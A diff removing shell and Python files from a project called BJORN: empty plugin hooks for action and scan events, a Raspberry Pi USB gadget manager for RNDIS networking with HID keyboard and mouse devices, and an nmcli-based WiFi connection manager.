"""Hook: called after any action finishes execution.
|
||||
|
||||
Args:
|
||||
action_name: The b_class of the action that completed.
|
||||
success: True if action returned 'success'.
|
||||
target: Dict with mac, ip, port.
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_scan_complete(self, results: dict) -> None:
|
||||
"""Hook: called after a network scan cycle finishes.
|
||||
|
||||
Args:
|
||||
results: Dict with hosts_found, new_hosts, scan_duration, etc.
|
||||
"""
|
||||
pass
|
||||
@@ -1,430 +0,0 @@
|
||||
#!/bin/bash
|
||||
# bjorn_usb_gadget.sh
|
||||
# Runtime manager for the BJORN USB composite gadget
|
||||
# Usage:
|
||||
# ./bjorn_usb_gadget.sh -u Bring the gadget up
|
||||
# ./bjorn_usb_gadget.sh -d Bring the gadget down
|
||||
# ./bjorn_usb_gadget.sh -r Reset the gadget (down + up)
|
||||
# ./bjorn_usb_gadget.sh -l Show detailed status
|
||||
# ./bjorn_usb_gadget.sh -h Show help
|
||||
#
|
||||
# Notes:
|
||||
# This script no longer installs or removes the USB gadget stack.
|
||||
# Installation is handled by the BJORN installer.
|
||||
# This tool is for runtime diagnostics and recovery only.
|
||||
|
||||
set -u
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
SCRIPT_VERSION="2.0"
|
||||
LOG_DIR="/var/log/bjorn_install"
|
||||
LOG_FILE="$LOG_DIR/bjorn_usb_gadget_$(date +%Y%m%d_%H%M%S).log"
|
||||
|
||||
USB_GADGET_SERVICE="usb-gadget.service"
|
||||
USB_GADGET_SCRIPT="/usr/local/bin/usb-gadget.sh"
|
||||
DNSMASQ_SERVICE="dnsmasq.service"
|
||||
DNSMASQ_CONFIG="/etc/dnsmasq.d/usb0"
|
||||
MODULES_LOAD_FILE="/etc/modules-load.d/usb-gadget.conf"
|
||||
MODULES_FILE="/etc/modules"
|
||||
INTERFACES_FILE="/etc/network/interfaces"
|
||||
|
||||
mkdir -p "$LOG_DIR" 2>/dev/null || true
|
||||
touch "$LOG_FILE" 2>/dev/null || true
|
||||
|
||||
log() {
|
||||
local level="$1"
|
||||
shift
|
||||
local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*"
|
||||
local color="$NC"
|
||||
|
||||
case "$level" in
|
||||
ERROR) color="$RED" ;;
|
||||
SUCCESS) color="$GREEN" ;;
|
||||
WARNING) color="$YELLOW" ;;
|
||||
INFO) color="$BLUE" ;;
|
||||
SECTION) color="$CYAN" ;;
|
||||
esac
|
||||
|
||||
printf '%s\n' "$message" >> "$LOG_FILE" 2>/dev/null || true
|
||||
printf '%b%s%b\n' "$color" "$message" "$NC"
|
||||
}
|
||||
|
||||
show_recent_logs() {
|
||||
if command -v journalctl >/dev/null 2>&1 && systemctl list-unit-files --type=service | grep -q "^${USB_GADGET_SERVICE}"; then
|
||||
log "INFO" "Recent ${USB_GADGET_SERVICE} logs:"
|
||||
journalctl -u "$USB_GADGET_SERVICE" -n 20 --no-pager 2>/dev/null || true
|
||||
fi
|
||||
}
|
||||
|
||||
ensure_root() {
|
||||
if [ "$(id -u)" -ne 0 ]; then
|
||||
log "ERROR" "This command must be run as root. Please use sudo."
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
service_exists() {
|
||||
systemctl list-unit-files --type=service 2>/dev/null | grep -q "^$1"
|
||||
}
|
||||
|
||||
service_active() {
|
||||
systemctl is-active --quiet "$1"
|
||||
}
|
||||
|
||||
service_enabled() {
|
||||
systemctl is-enabled --quiet "$1"
|
||||
}
|
||||
|
||||
usb0_exists() {
|
||||
ip link show usb0 >/dev/null 2>&1
|
||||
}
|
||||
|
||||
print_divider() {
|
||||
printf '%b%s%b\n' "$CYAN" "============================================================" "$NC"
|
||||
}
|
||||
|
||||
detect_boot_paths() {
|
||||
local cmdline=""
|
||||
local config=""
|
||||
|
||||
if [ -f /boot/firmware/cmdline.txt ]; then
|
||||
cmdline="/boot/firmware/cmdline.txt"
|
||||
elif [ -f /boot/cmdline.txt ]; then
|
||||
cmdline="/boot/cmdline.txt"
|
||||
fi
|
||||
|
||||
if [ -f /boot/firmware/config.txt ]; then
|
||||
config="/boot/firmware/config.txt"
|
||||
elif [ -f /boot/config.txt ]; then
|
||||
config="/boot/config.txt"
|
||||
fi
|
||||
|
||||
printf '%s|%s\n' "$cmdline" "$config"
|
||||
}
|
||||
|
||||
wait_for_condition() {
|
||||
local description="$1"
|
||||
local attempts="$2"
|
||||
shift 2
|
||||
|
||||
local i=1
|
||||
while [ "$i" -le "$attempts" ]; do
|
||||
if "$@"; then
|
||||
log "SUCCESS" "$description"
|
||||
return 0
|
||||
fi
|
||||
log "INFO" "Waiting for $description ($i/$attempts)..."
|
||||
sleep 1
|
||||
i=$((i + 1))
|
||||
done
|
||||
|
||||
log "WARNING" "$description not reached after ${attempts}s"
|
||||
return 1
|
||||
}
|
||||
|
||||
show_usage() {
|
||||
echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}"
|
||||
echo -e "Options:"
|
||||
echo -e " ${BLUE}-u${NC} Bring USB Gadget up"
|
||||
echo -e " ${BLUE}-d${NC} Bring USB Gadget down"
|
||||
echo -e " ${BLUE}-r${NC} Reset USB Gadget (down + up)"
|
||||
echo -e " ${BLUE}-l${NC} List detailed USB Gadget status"
|
||||
echo -e " ${BLUE}-h${NC} Show this help message"
|
||||
echo -e ""
|
||||
echo -e "Examples:"
|
||||
echo -e " $0 -u Start the BJORN composite gadget"
|
||||
echo -e " $0 -d Stop the BJORN composite gadget cleanly"
|
||||
echo -e " $0 -r Reinitialize the gadget if RNDIS/HID is stuck"
|
||||
echo -e " $0 -l Show services, usb0, /dev/hidg*, and boot config"
|
||||
echo -e ""
|
||||
echo -e "${YELLOW}This script no longer installs or removes USB Gadget.${NC}"
|
||||
echo -e "${YELLOW}That part is handled by the BJORN installer.${NC}"
|
||||
if [ "${1:-exit}" = "return" ]; then
|
||||
return 0
|
||||
fi
|
||||
exit 0
|
||||
}
|
||||
|
||||
list_usb_gadget_info() {
|
||||
local boot_pair
|
||||
local cmdline_file
|
||||
local config_file
|
||||
|
||||
boot_pair="$(detect_boot_paths)"
|
||||
cmdline_file="${boot_pair%%|*}"
|
||||
config_file="${boot_pair##*|}"
|
||||
|
||||
print_divider
|
||||
log "SECTION" "BJORN USB Gadget Status"
|
||||
print_divider
|
||||
|
||||
log "INFO" "Expected layout: RNDIS usb0 + HID keyboard /dev/hidg0 + HID mouse /dev/hidg1"
|
||||
log "INFO" "Script version: ${SCRIPT_VERSION}"
|
||||
log "INFO" "Log file: ${LOG_FILE}"
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Service Status"
|
||||
if service_exists "$USB_GADGET_SERVICE"; then
|
||||
service_active "$USB_GADGET_SERVICE" && log "SUCCESS" "${USB_GADGET_SERVICE} is active" || log "WARNING" "${USB_GADGET_SERVICE} is not active"
|
||||
service_enabled "$USB_GADGET_SERVICE" && log "SUCCESS" "${USB_GADGET_SERVICE} is enabled at boot" || log "WARNING" "${USB_GADGET_SERVICE} is not enabled at boot"
|
||||
else
|
||||
log "ERROR" "${USB_GADGET_SERVICE} is not installed on this system"
|
||||
fi
|
||||
|
||||
if service_exists "$DNSMASQ_SERVICE"; then
|
||||
service_active "$DNSMASQ_SERVICE" && log "SUCCESS" "${DNSMASQ_SERVICE} is active" || log "WARNING" "${DNSMASQ_SERVICE} is not active"
|
||||
else
|
||||
log "WARNING" "${DNSMASQ_SERVICE} is not installed"
|
||||
fi
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Runtime Files"
|
||||
[ -x "$USB_GADGET_SCRIPT" ] && log "SUCCESS" "${USB_GADGET_SCRIPT} is present and executable" || log "ERROR" "${USB_GADGET_SCRIPT} is missing or not executable"
|
||||
[ -c /dev/hidg0 ] && log "SUCCESS" "/dev/hidg0 (keyboard) is available" || log "WARNING" "/dev/hidg0 (keyboard) is not present"
|
||||
[ -c /dev/hidg1 ] && log "SUCCESS" "/dev/hidg1 (mouse) is available" || log "WARNING" "/dev/hidg1 (mouse) is not present"
|
||||
|
||||
if ip link show usb0 >/dev/null 2>&1; then
|
||||
log "SUCCESS" "usb0 network interface exists"
|
||||
ip -brief addr show usb0 2>/dev/null || true
|
||||
else
|
||||
log "WARNING" "usb0 network interface is missing"
|
||||
fi
|
||||
|
||||
if [ -d /sys/kernel/config/usb_gadget/g1 ]; then
|
||||
log "SUCCESS" "Composite gadget directory exists: /sys/kernel/config/usb_gadget/g1"
|
||||
find /sys/kernel/config/usb_gadget/g1/functions -maxdepth 1 -mindepth 1 -type d 2>/dev/null || true
|
||||
else
|
||||
log "WARNING" "No active gadget directory found under /sys/kernel/config/usb_gadget/g1"
|
||||
fi
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Boot Configuration"
|
||||
if [ -n "$cmdline_file" ] && [ -f "$cmdline_file" ]; then
|
||||
grep -q "modules-load=dwc2" "$cmdline_file" && log "SUCCESS" "dwc2 boot module load is configured in ${cmdline_file}" || log "WARNING" "dwc2 boot module load not found in ${cmdline_file}"
|
||||
else
|
||||
log "WARNING" "cmdline.txt not found"
|
||||
fi
|
||||
|
||||
if [ -n "$config_file" ] && [ -f "$config_file" ]; then
|
||||
grep -q "^dtoverlay=dwc2" "$config_file" && log "SUCCESS" "dtoverlay=dwc2 is present in ${config_file}" || log "WARNING" "dtoverlay=dwc2 not found in ${config_file}"
|
||||
else
|
||||
log "WARNING" "config.txt not found"
|
||||
fi
|
||||
|
||||
[ -f "$DNSMASQ_CONFIG" ] && log "SUCCESS" "${DNSMASQ_CONFIG} exists" || log "WARNING" "${DNSMASQ_CONFIG} is missing"
|
||||
[ -f "$MODULES_LOAD_FILE" ] && log "INFO" "${MODULES_LOAD_FILE} exists (64-bit style module loading)"
|
||||
[ -f "$MODULES_FILE" ] && grep -q "^libcomposite" "$MODULES_FILE" && log "INFO" "libcomposite is referenced in ${MODULES_FILE}"
|
||||
[ -f "$INTERFACES_FILE" ] && grep -q "^allow-hotplug usb0" "$INTERFACES_FILE" && log "INFO" "usb0 legacy interface config detected in ${INTERFACES_FILE}"
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Quick Recovery Hints"
|
||||
log "INFO" "If RNDIS or HID is stuck, run: sudo $0 -r"
|
||||
log "INFO" "If startup still fails, inspect logs with: sudo journalctl -u ${USB_GADGET_SERVICE} -f"
|
||||
log "INFO" "If HID nodes never appear after installer changes, a reboot may still be required"
|
||||
}
|
||||
|
||||
bring_usb_gadget_down() {
|
||||
ensure_root
|
||||
print_divider
|
||||
log "SECTION" "Bringing USB gadget down"
|
||||
print_divider
|
||||
|
||||
if service_exists "$USB_GADGET_SERVICE"; then
|
||||
if service_active "$USB_GADGET_SERVICE"; then
|
||||
log "INFO" "Stopping ${USB_GADGET_SERVICE}..."
|
||||
if systemctl stop "$USB_GADGET_SERVICE"; then
|
||||
log "SUCCESS" "Stopped ${USB_GADGET_SERVICE}"
|
||||
else
|
||||
log "ERROR" "Failed to stop ${USB_GADGET_SERVICE}"
|
||||
show_recent_logs
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
log "INFO" "${USB_GADGET_SERVICE} is already stopped"
|
||||
fi
|
||||
else
|
||||
log "WARNING" "${USB_GADGET_SERVICE} is not installed, trying direct runtime cleanup"
|
||||
if [ -x "$USB_GADGET_SCRIPT" ]; then
|
||||
"$USB_GADGET_SCRIPT" stop >> "$LOG_FILE" 2>&1 || true
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -x "$USB_GADGET_SCRIPT" ] && [ -d /sys/kernel/config/usb_gadget/g1 ]; then
|
||||
log "INFO" "Running direct gadget cleanup via ${USB_GADGET_SCRIPT} stop"
|
||||
"$USB_GADGET_SCRIPT" stop >> "$LOG_FILE" 2>&1 || log "WARNING" "Direct cleanup reported a non-fatal issue"
|
||||
fi
|
||||
|
||||
if ip link show usb0 >/dev/null 2>&1; then
|
||||
log "INFO" "Bringing usb0 interface down"
|
||||
ip link set usb0 down >> "$LOG_FILE" 2>&1 || log "WARNING" "usb0 could not be forced down (often harmless)"
|
||||
else
|
||||
log "INFO" "usb0 is already absent"
|
||||
fi
|
||||
|
||||
[ -c /dev/hidg0 ] && log "WARNING" "/dev/hidg0 still exists after stop (may clear on next start/reboot)" || log "SUCCESS" "/dev/hidg0 is no longer exposed"
|
||||
[ -c /dev/hidg1 ] && log "WARNING" "/dev/hidg1 still exists after stop (may clear on next start/reboot)" || log "SUCCESS" "/dev/hidg1 is no longer exposed"
|
||||
ip link show usb0 >/dev/null 2>&1 && log "WARNING" "usb0 still exists after stop" || log "SUCCESS" "usb0 is no longer present"
|
||||
}
|
||||
|
||||
bring_usb_gadget_up() {
|
||||
ensure_root
|
||||
print_divider
|
||||
log "SECTION" "Bringing USB gadget up"
|
||||
print_divider
|
||||
|
||||
if [ ! -x "$USB_GADGET_SCRIPT" ]; then
|
||||
log "ERROR" "${USB_GADGET_SCRIPT} is missing. The gadget runtime is not installed."
|
||||
return 1
|
||||
fi
|
||||
|
||||
if service_exists "$USB_GADGET_SERVICE"; then
|
||||
log "INFO" "Reloading systemd daemon"
|
||||
systemctl daemon-reload >> "$LOG_FILE" 2>&1 || log "WARNING" "systemd daemon-reload reported an issue"
|
||||
|
||||
log "INFO" "Starting ${USB_GADGET_SERVICE}..."
|
||||
if systemctl start "$USB_GADGET_SERVICE"; then
|
||||
log "SUCCESS" "Start command sent to ${USB_GADGET_SERVICE}"
|
||||
else
|
||||
log "ERROR" "Failed to start ${USB_GADGET_SERVICE}"
|
||||
show_recent_logs
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
log "WARNING" "${USB_GADGET_SERVICE} is not installed, running ${USB_GADGET_SCRIPT} directly"
|
||||
if "$USB_GADGET_SCRIPT" >> "$LOG_FILE" 2>&1; then
|
||||
log "SUCCESS" "Runtime script executed directly"
|
||||
else
|
||||
log "ERROR" "Runtime script failed"
|
||||
return 1
|
||||
fi
|
||||
fi
|
||||
|
||||
wait_for_condition "${USB_GADGET_SERVICE} to become active" 10 service_active "$USB_GADGET_SERVICE" || true
|
||||
wait_for_condition "usb0 to appear" 12 usb0_exists || true
|
||||
|
||||
if service_exists "$DNSMASQ_SERVICE"; then
|
||||
log "INFO" "Restarting ${DNSMASQ_SERVICE} to refresh DHCP on usb0"
|
||||
systemctl restart "$DNSMASQ_SERVICE" >> "$LOG_FILE" 2>&1 || log "WARNING" "Failed to restart ${DNSMASQ_SERVICE}"
|
||||
fi
|
||||
|
||||
[ -c /dev/hidg0 ] && log "SUCCESS" "/dev/hidg0 (keyboard) is ready" || log "WARNING" "/dev/hidg0 not present yet"
|
||||
[ -c /dev/hidg1 ] && log "SUCCESS" "/dev/hidg1 (mouse) is ready" || log "WARNING" "/dev/hidg1 not present yet"
|
||||
|
||||
if ip link show usb0 >/dev/null 2>&1; then
|
||||
log "SUCCESS" "usb0 is present"
|
||||
ip -brief addr show usb0 2>/dev/null || true
|
||||
else
|
||||
log "WARNING" "usb0 is still missing after startup"
|
||||
fi
|
||||
|
||||
log "INFO" "If HID is still missing after a clean start, a reboot can still be required depending on the board/kernel state"
|
||||
}
|
||||
|
||||
reset_usb_gadget() {
|
||||
ensure_root
|
||||
print_divider
|
||||
log "SECTION" "Resetting USB gadget (down + up)"
|
||||
print_divider
|
||||
|
||||
bring_usb_gadget_down || log "WARNING" "Down phase reported an issue, continuing with recovery"
|
||||
log "INFO" "Waiting 2 seconds before bringing the gadget back up"
|
||||
sleep 2
|
||||
bring_usb_gadget_up
|
||||
}
|
||||
|
||||
display_main_menu() {
|
||||
while true; do
|
||||
clear
|
||||
print_divider
|
||||
echo -e "${CYAN} BJORN USB Gadget Runtime Manager v${SCRIPT_VERSION}${NC}"
|
||||
print_divider
|
||||
echo -e "${BLUE} 1.${NC} Bring USB Gadget up"
|
||||
echo -e "${BLUE} 2.${NC} Bring USB Gadget down"
|
||||
echo -e "${BLUE} 3.${NC} Reset USB Gadget (down + up)"
|
||||
echo -e "${BLUE} 4.${NC} List detailed USB Gadget status"
|
||||
echo -e "${BLUE} 5.${NC} Show help"
|
||||
echo -e "${BLUE} 6.${NC} Exit"
|
||||
echo -e ""
|
||||
echo -e "${YELLOW}Note:${NC} installation/removal is no longer handled here."
|
||||
echo -n -e "${GREEN}Choose an option (1-6): ${NC}"
|
||||
read -r choice
|
||||
|
||||
case "$choice" in
|
||||
1)
|
||||
bring_usb_gadget_up
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
2)
|
||||
bring_usb_gadget_down
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
3)
|
||||
reset_usb_gadget
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
4)
|
||||
list_usb_gadget_info
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
5)
|
||||
show_usage return
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
6)
|
||||
log "INFO" "Exiting BJORN USB Gadget Runtime Manager"
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
log "ERROR" "Invalid option. Please choose between 1 and 6."
|
||||
sleep 2
|
||||
;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
while getopts ":udrlhf" opt; do
|
||||
case "$opt" in
|
||||
u)
|
||||
bring_usb_gadget_up
|
||||
exit $?
|
||||
;;
|
||||
d)
|
||||
bring_usb_gadget_down
|
||||
exit $?
|
||||
;;
|
||||
r)
|
||||
reset_usb_gadget
|
||||
exit $?
|
||||
;;
|
||||
l)
|
||||
list_usb_gadget_info
|
||||
exit 0
|
||||
;;
|
||||
h)
|
||||
show_usage
|
||||
;;
|
||||
f)
|
||||
log "ERROR" "Option -f (install) has been removed. Use -u to bring the gadget up or -r to reset it."
|
||||
show_usage
|
||||
;;
|
||||
\?)
|
||||
log "ERROR" "Invalid option: -$OPTARG"
|
||||
show_usage
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ $OPTIND -eq 1 ]; then
|
||||
display_main_menu
|
||||
fi
|
||||
@@ -1,786 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# WiFi Manager Script Using nmcli
|
||||
# Author: Infinition
|
||||
# Version: 1.6
|
||||
# Description: This script provides a simple menu interface to manage WiFi connections using nmcli.
|
||||
|
||||
# ============================================================
|
||||
# Colors for Output
|
||||
# ============================================================
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# ============================================================
|
||||
# Logging Function
|
||||
# ============================================================
|
||||
log() {
|
||||
local level=$1
|
||||
shift
|
||||
case $level in
|
||||
"INFO") echo -e "${GREEN}[INFO]${NC} $*" ;;
|
||||
"WARN") echo -e "${YELLOW}[WARN]${NC} $*" ;;
|
||||
"ERROR") echo -e "${RED}[ERROR]${NC} $*" ;;
|
||||
"DEBUG") echo -e "${BLUE}[DEBUG]${NC} $*" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Check if Script is Run as Root
|
||||
# ============================================================
|
||||
if [ "$EUID" -ne 0 ]; then
|
||||
log "ERROR" "This script must be run as root."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ============================================================
|
||||
# Function to Show Usage
|
||||
# ============================================================
|
||||
show_usage() {
|
||||
echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}"
|
||||
echo -e "Options:"
|
||||
echo -e " ${BLUE}-h${NC} Show this help message"
|
||||
echo -e " ${BLUE}-f${NC} Force refresh of WiFi connections"
|
||||
echo -e " ${BLUE}-c${NC} Clear all saved WiFi connections"
|
||||
echo -e " ${BLUE}-l${NC} List all available WiFi networks"
|
||||
echo -e " ${BLUE}-s${NC} Show current WiFi status"
|
||||
echo -e " ${BLUE}-a${NC} Add a new WiFi connection"
|
||||
echo -e " ${BLUE}-d${NC} Delete a WiFi connection"
|
||||
echo -e " ${BLUE}-m${NC} Manage WiFi Connections"
|
||||
echo -e ""
|
||||
echo -e "Example: $0 -a"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Check Prerequisites
|
||||
# ============================================================
|
||||
check_prerequisites() {
|
||||
log "INFO" "Checking prerequisites..."
|
||||
|
||||
local missing_packages=()
|
||||
|
||||
# Check if nmcli is installed
|
||||
if ! command -v nmcli &> /dev/null; then
|
||||
missing_packages+=("network-manager")
|
||||
fi
|
||||
|
||||
# Check if NetworkManager service is running
|
||||
if ! systemctl is-active --quiet NetworkManager; then
|
||||
log "WARN" "NetworkManager service is not running. Attempting to start it..."
|
||||
systemctl start NetworkManager
|
||||
sleep 2
|
||||
if ! systemctl is-active --quiet NetworkManager; then
|
||||
log "ERROR" "Failed to start NetworkManager. Please install and start it manually."
|
||||
exit 1
|
||||
else
|
||||
log "INFO" "NetworkManager started successfully."
|
||||
fi
|
||||
fi
|
||||
|
||||
# Install missing packages if any
|
||||
if [ ${#missing_packages[@]} -gt 0 ]; then
|
||||
log "WARN" "Missing packages: ${missing_packages[*]}"
|
||||
log "INFO" "Attempting to install missing packages..."
|
||||
apt-get update
|
||||
apt-get install -y "${missing_packages[@]}"
|
||||
|
||||
# Verify installation
|
||||
for package in "${missing_packages[@]}"; do
|
||||
if ! dpkg -l | grep -q "^ii.*$package"; then
|
||||
log "ERROR" "Failed to install $package."
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
log "INFO" "All prerequisites are met."
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Handle preconfigured.nmconnection
|
||||
# ============================================================
|
||||
handle_preconfigured_connection() {
|
||||
preconfigured_file="/etc/NetworkManager/system-connections/preconfigured.nmconnection"
|
||||
|
||||
if [ -f "$preconfigured_file" ]; then
|
||||
echo -e "${YELLOW}A preconfigured WiFi connection exists (preconfigured.nmconnection).${NC}"
|
||||
echo -n -e "${GREEN}Do you want to delete it and recreate connections with individual SSIDs? (y/n): ${NC}"
|
||||
read confirm
|
||||
|
||||
if [[ "$confirm" =~ ^[Yy]$ ]]; then
|
||||
# Extract SSID from preconfigured.nmconnection
|
||||
ssid=$(grep "^ssid=" "$preconfigured_file" | cut -d'=' -f2 | tr -d '"')
|
||||
if [ -z "$ssid" ]; then
|
||||
log "WARN" "SSID not found in preconfigured.nmconnection. Cannot recreate connection."
|
||||
else
|
||||
# Extract security type
|
||||
security=$(grep "^security=" "$preconfigured_file" | cut -d'=' -f2 | tr -d '"')
|
||||
|
||||
# Delete preconfigured.nmconnection
|
||||
log "INFO" "Deleting preconfigured.nmconnection..."
|
||||
rm "$preconfigured_file"
|
||||
systemctl restart NetworkManager
|
||||
sleep 2
|
||||
|
||||
# Recreate the connection with SSID name
|
||||
echo -n -e "${GREEN}Do you want to recreate the connection for SSID '$ssid'? (y/n): ${NC}"
|
||||
read recreate_confirm
|
||||
|
||||
if [[ "$recreate_confirm" =~ ^[Yy]$ ]]; then
|
||||
# Check if connection already exists
|
||||
if nmcli connection show "$ssid" &> /dev/null; then
|
||||
log "WARN" "A connection named '$ssid' already exists."
|
||||
else
|
||||
# Prompt for password if necessary
|
||||
if [ "$security" == "none" ] || [ "$security" == "--" ] || [ -z "$security" ]; then
|
||||
# Open network
|
||||
log "INFO" "Creating open connection for SSID '$ssid'..."
|
||||
nmcli device wifi connect "$ssid" name "$ssid"
|
||||
else
|
||||
# Secured network
|
||||
echo -n -e "${GREEN}Enter WiFi Password for '$ssid': ${NC}"
|
||||
read -s password
|
||||
echo ""
|
||||
if [ -z "$password" ]; then
|
||||
log "ERROR" "Password cannot be empty."
|
||||
else
|
||||
log "INFO" "Creating secured connection for SSID '$ssid'..."
|
||||
nmcli device wifi connect "$ssid" password "$password" name "$ssid"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Successfully recreated connection for '$ssid'."
|
||||
else
|
||||
log "ERROR" "Failed to recreate connection for '$ssid'."
|
||||
fi
|
||||
fi
|
||||
else
|
||||
log "INFO" "Connection recreation cancelled."
|
||||
fi
|
||||
fi
|
||||
else
|
||||
log "INFO" "Preconfigured connection retained."
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to List All Available WiFi Networks and Connect
|
||||
# ============================================================
|
||||
list_wifi_and_connect() {
|
||||
log "INFO" "Scanning for available WiFi networks..."
|
||||
nmcli device wifi rescan
|
||||
sleep 2
|
||||
|
||||
while true; do
|
||||
clear
|
||||
available_networks=$(nmcli -t -f SSID,SECURITY device wifi list)
|
||||
|
||||
if [ -z "$available_networks" ]; then
|
||||
log "WARN" "No WiFi networks found."
|
||||
echo ""
|
||||
else
|
||||
# Remove lines with empty SSIDs (hidden networks)
|
||||
network_list=$(echo "$available_networks" | grep -v '^:$')
|
||||
|
||||
if [ -z "$network_list" ]; then
|
||||
log "WARN" "No visible WiFi networks found."
|
||||
echo ""
|
||||
else
|
||||
echo -e "${CYAN}Available WiFi Networks:${NC}"
|
||||
declare -A SSIDs
|
||||
declare -A SECURITIES
|
||||
index=1
|
||||
|
||||
while IFS=: read -r ssid security; do
|
||||
# Handle hidden SSIDs
|
||||
if [ -z "$ssid" ]; then
|
||||
ssid="<Hidden SSID>"
|
||||
fi
|
||||
SSIDs["$index"]="$ssid"
|
||||
SECURITIES["$index"]="$security"
|
||||
printf "%d. %-40s (%s)\n" "$index" "$ssid" "$security"
|
||||
index=$((index + 1))
|
||||
done <<< "$network_list"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${YELLOW}The list will refresh every 5 seconds. Press 'c' to connect, enter a number to connect, or 'q' to quit.${NC}"
|
||||
echo -n -e "${GREEN}Enter choice (number/c/q): ${NC}"
|
||||
read -t 5 input
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
if [[ "$input" =~ ^[Qq]$ ]]; then
|
||||
log "INFO" "Exiting WiFi list."
|
||||
return
|
||||
elif [[ "$input" =~ ^[Cc]$ ]]; then
|
||||
# Handle connection via 'c'
|
||||
echo ""
|
||||
echo -n -e "${GREEN}Enter the number of the network to connect: ${NC}"
|
||||
read selection
|
||||
|
||||
if [[ -z "$selection" ]]; then
|
||||
log "INFO" "Operation cancelled."
|
||||
continue
|
||||
fi
|
||||
|
||||
# Validate selection
|
||||
if ! [[ "$selection" =~ ^[0-9]+$ ]]; then
|
||||
log "ERROR" "Invalid selection. Please enter a valid number."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
max_index=$((index - 1))
|
||||
if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then
|
||||
log "ERROR" "Invalid selection. Please enter a number between 1 and $max_index."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
ssid_selected="${SSIDs[$selection]}"
|
||||
security_selected="${SECURITIES[$selection]}"
|
||||
|
||||
echo -n -e "${GREEN}Do you want to connect to '$ssid_selected'? (y/n): ${NC}"
|
||||
read confirm
|
||||
|
||||
if [[ "$confirm" =~ ^[Yy]$ ]]; then
|
||||
if [ "$security_selected" == "--" ] || [ -z "$security_selected" ]; then
|
||||
# Open network
|
||||
log "INFO" "Connecting to open network '$ssid_selected'..."
|
||||
nmcli device wifi connect "$ssid_selected" name "$ssid_selected"
|
||||
else
|
||||
# Secured network
|
||||
echo -n -e "${GREEN}Enter WiFi Password for '$ssid_selected': ${NC}"
|
||||
read -s password
|
||||
echo ""
|
||||
if [ -z "$password" ]; then
|
||||
log "ERROR" "Password cannot be empty."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
log "INFO" "Connecting to '$ssid_selected'..."
|
||||
nmcli device wifi connect "$ssid_selected" password "$password" name "$ssid_selected"
|
||||
fi
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Successfully connected to '$ssid_selected'."
|
||||
else
|
||||
log "ERROR" "Failed to connect to '$ssid_selected'."
|
||||
fi
|
||||
else
|
||||
log "INFO" "Operation cancelled."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
read -p "Press Enter to continue..."
|
||||
elif [[ "$input" =~ ^[0-9]+$ ]]; then
|
||||
# Handle connection via number
|
||||
selection="$input"
|
||||
|
||||
# Validate selection
|
||||
if ! [[ "$selection" =~ ^[0-9]+$ ]]; then
|
||||
log "ERROR" "Invalid selection. Please enter a valid number."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
max_index=$((index - 1))
|
||||
if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then
|
||||
log "ERROR" "Invalid selection. Please enter a number between 1 and $max_index."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
ssid_selected="${SSIDs[$selection]}"
|
||||
security_selected="${SECURITIES[$selection]}"
|
||||
|
||||
echo -n -e "${GREEN}Do you want to connect to '$ssid_selected'? (y/n): ${NC}"
|
||||
read confirm
|
||||
|
||||
if [[ "$confirm" =~ ^[Yy]$ ]]; then
|
||||
if [ "$security_selected" == "--" ] || [ -z "$security_selected" ]; then
|
||||
# Open network
|
||||
log "INFO" "Connecting to open network '$ssid_selected'..."
|
||||
nmcli device wifi connect "$ssid_selected" name "$ssid_selected"
|
||||
else
|
||||
# Secured network
|
||||
echo -n -e "${GREEN}Enter WiFi Password for '$ssid_selected': ${NC}"
